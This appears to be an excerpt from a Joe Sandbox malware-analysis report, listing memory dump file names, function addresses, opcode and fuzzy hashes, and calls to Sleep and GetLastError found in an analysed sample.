Associated: 00000005.00000002.2232008781.0000000000403000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232086743.0000000000404000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000006FD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000705000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000713000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000717000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000725000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000729000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000738000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000073C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000074A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000074C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000075C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000760000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000076E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000771000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000773000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000777000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000077A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000078D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000791000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000079F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007B1000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007B5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007C3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007D5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007DA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007E8000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007EA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007F7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000807000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000080B000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000081A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000842000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000846000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000084A000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_150000_8WUnp6Y_Ak5XjHYYEp1aIJYJ.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 5f06729f4b10dd021c3f52e37b62102e46db3be8496a3adcec3eb395237f52b9
Instruction ID: 10f2323c3ddcfb2b2046974bba8157568c45dee9cf4be3d7a7ecfff95f5ec1da
Opcode Fuzzy Hash: 5f06729f4b10dd021c3f52e37b62102e46db3be8496a3adcec3eb395237f52b9
Instruction Fuzzy Hash: 7F01F271E58794AFDB10DF5CAC0A7AA7BA9E792B24F14438AF4101B7C1CBB51C5087D2

Function 002176B0 Relevance: 1.3, APIs: 1, Instructions: 43sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000065,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00217727

Memory Dump Source

Source File: 00000005.00000002.2230874398.0000000000151000.00000020.00000001.01000000.00000006.sdmp, Offset: 00150000, based on PE: true

Associated: 00000005.00000002.2230806897.0000000000150000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2231644289.00000000002AD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2231712795.00000000002D5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2231771873.00000000002DA000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232008781.0000000000403000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232086743.0000000000404000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000006FD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000705000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000713000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000717000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000725000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000729000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000738000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000073C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000074A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000074C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000075C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000760000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000076E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000771000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000773000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000777000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000077A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000078D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000791000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000079F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007B1000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007B5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007C3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007D5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007DA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007E8000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007EA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007F7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000807000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000080B000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000081A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000842000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000846000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000084A000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_150000_8WUnp6Y_Ak5XjHYYEp1aIJYJ.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: c54758bc614247fbb9f7ddf35ec0dc242e9bb8eb9033cea79184f5afc4a5c4b6
Instruction ID: bf767120e25adca53191a70d2c4edd3fdb3876fe725cf41ce6a5f79ba37157d6
Opcode Fuzzy Hash: c54758bc614247fbb9f7ddf35ec0dc242e9bb8eb9033cea79184f5afc4a5c4b6
Instruction Fuzzy Hash: 08012B71E59740AFDB10DF58BD0A7AABBA4E792B24F18028AF5101B3C1CBB51C51C7D2

Function 00217750 Relevance: 1.3, APIs: 1, Instructions: 43sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000065,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 002177C7

Memory Dump Source

Source File: 00000005.00000002.2230874398.0000000000151000.00000020.00000001.01000000.00000006.sdmp, Offset: 00150000, based on PE: true

Associated: 00000005.00000002.2230806897.0000000000150000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2231644289.00000000002AD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2231712795.00000000002D5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2231771873.00000000002DA000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232008781.0000000000403000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232086743.0000000000404000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000006FD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000705000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000713000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000717000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000725000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000729000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000738000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000073C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000074A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000074C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000075C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000760000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000076E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000771000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000773000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000777000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000077A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000078D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000791000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000079F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007B1000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007B5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007C3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007D5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007DA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007E8000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007EA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007F7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000807000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000080B000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000081A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000842000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000846000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000084A000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_150000_8WUnp6Y_Ak5XjHYYEp1aIJYJ.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 1d7907c91caf727055702ef88bc81391791311efe9620110683544293ec250fc
Instruction ID: 70fd28c1228042b9452eb82d7892b12a2872d4ea5a5a5259e0c2c5ea167ff854
Opcode Fuzzy Hash: 1d7907c91caf727055702ef88bc81391791311efe9620110683544293ec250fc
Instruction Fuzzy Hash: B601F771E58244ABD710EF58EC0A7A9BBA4E796B24F14024AF4105B7C1CBB52C51C7D2

Function 002177F0 Relevance: 1.3, APIs: 1, Instructions: 43sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000065,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00217867

Memory Dump Source

Source File: 00000005.00000002.2230874398.0000000000151000.00000020.00000001.01000000.00000006.sdmp, Offset: 00150000, based on PE: true

Associated: 00000005.00000002.2230806897.0000000000150000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2231644289.00000000002AD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2231712795.00000000002D5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2231771873.00000000002DA000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232008781.0000000000403000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232086743.0000000000404000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000006FD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000705000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000713000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000717000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000725000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000729000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000738000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000073C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000074A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000074C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000075C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000760000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000076E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000771000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000773000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000777000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000077A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000078D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000791000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000079F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007B1000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007B5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007C3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007D5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007DA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007E8000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007EA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007F7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000807000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000080B000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000081A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000842000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000846000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000084A000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_150000_8WUnp6Y_Ak5XjHYYEp1aIJYJ.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 858b44b80ca16d7710cf9325c34803479ee405085d3022c66a55873f72650623
Instruction ID: 4e01e52429a94299f10684d6623bfb0246380523bf437ddab245584c21870340
Opcode Fuzzy Hash: 858b44b80ca16d7710cf9325c34803479ee405085d3022c66a55873f72650623
Instruction Fuzzy Hash: 1901F771E58240AFE7109F98AC0AB6E7BE5E752B24F14024AF4151B7D1CBB51C50C7D2

Function 00217890 Relevance: 1.3, APIs: 1, Instructions: 43sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000065,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00217907

Memory Dump Source

Source File: 00000005.00000002.2230874398.0000000000151000.00000020.00000001.01000000.00000006.sdmp, Offset: 00150000, based on PE: true

Associated: 00000005.00000002.2230806897.0000000000150000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2231644289.00000000002AD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2231712795.00000000002D5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2231771873.00000000002DA000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232008781.0000000000403000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232086743.0000000000404000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000006FD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000705000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000713000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000717000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000725000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000729000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000738000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000073C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000074A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000074C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000075C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000760000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000076E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000771000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000773000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000777000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000077A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000078D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000791000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000079F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007B1000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007B5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007C3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007D5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007DA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007E8000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007EA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007F7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000807000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000080B000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000081A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000842000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000846000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000084A000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_150000_8WUnp6Y_Ak5XjHYYEp1aIJYJ.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 0625beb5877943e6d705f65495e8a723ddf8f1f29a4dc1b216af1bccb5a8c6ce
Instruction ID: 6d26651bb53168e84b036c021f2b3215e5d5f8e38c71d3e74e4664c5f4fd908d
Opcode Fuzzy Hash: 0625beb5877943e6d705f65495e8a723ddf8f1f29a4dc1b216af1bccb5a8c6ce
Instruction Fuzzy Hash: 57014771E18280ABDB10AF5CAC0AB6A7BB4E782B24F04028AF4100B3C1CBB41D1487D2

Function 0019B01A Relevance: 1.3, APIs: 1, Instructions: 23COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,?,00000000,00000000,?,0019669D,00000000,00000000), ref: 0019B03B

Memory Dump Source

Source File: 00000005.00000002.2230874398.0000000000151000.00000020.00000001.01000000.00000006.sdmp, Offset: 00150000, based on PE: true

Associated: 00000005.00000002.2230806897.0000000000150000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2231644289.00000000002AD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2231712795.00000000002D5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2231771873.00000000002DA000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232008781.0000000000403000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232086743.0000000000404000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000006FD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000705000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000713000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000717000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000725000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000729000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000738000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000073C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000074A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000074C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000075C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000760000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000076E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000771000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000773000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000777000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000077A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000078D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000791000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000079F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007B1000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007B5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007C3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007D5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007DA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007E8000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007EA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007F7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000807000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000080B000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000081A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000842000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000846000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000084A000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

